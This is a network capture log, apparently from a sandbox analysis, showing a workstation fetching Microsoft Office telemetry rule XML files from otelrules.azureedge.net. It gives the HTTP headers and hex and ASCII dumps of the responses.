2024-12-08 14:39:10 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:11 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:11 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 562ac663-901e-0029-652e-49274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143911Z-r1cf579d778zvkpnhC1EWRv23g0000000600000000000udx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:39:12 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:11 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:11 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: c4c54565-101e-008e-1748-49cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143911Z-r1cf579d778xq4f9hC1EWRx41g00000005c0000000007rcx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:39:12 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:11 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:11 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 4471680c-501e-0047-7105-48ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143911Z-r1cf579d7789trgthC1EWRkkfc000000067g000000006zu7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:39:12 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:11 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:11 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: af039603-701e-005c-3603-48bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143911Z-r1cf579d778t6txphC1EWRsd440000000600000000008p05 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:39:12 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:12 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:12 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: be723ded-701e-0021-0f06-483d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143912Z-r1cf579d778qgtz2hC1EWRmgks00000005eg0000000044qq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:39:12 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:13 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:14 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 1e99177e-901e-0029-5406-48274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143914Z-r1cf579d778xr2r4hC1EWRqvfs00000005m0000000005zun x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:39:14 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:13 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:14 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 40072cf2-b01e-001e-4a03-480214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143914Z-r1cf579d778xr2r4hC1EWRqvfs00000005s00000000019mm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:39:14 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:13 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:14 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 8337024b-c01e-0079-5d05-48e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143914Z-r1cf579d778dfdgnhC1EWRd3w000000005f0000000002eud x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:39:14 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:13 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:14 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: f1085035-901e-007b-3808-48ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143914Z-r1cf579d778qgtz2hC1EWRmgks00000005g0000000002auh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:39:14 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:14 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:14 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: a36eb884-e01e-0051-4c04-4884b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143914Z-r1cf579d778d5zkmhC1EWRk6h80000000640000000002zan x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:39:15 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:15 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:16 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 447ddde3-501e-0047-290a-48ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143916Z-r1cf579d7786c2tshC1EWRr1gc00000005a0000000002ht5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:39:16 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:15 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
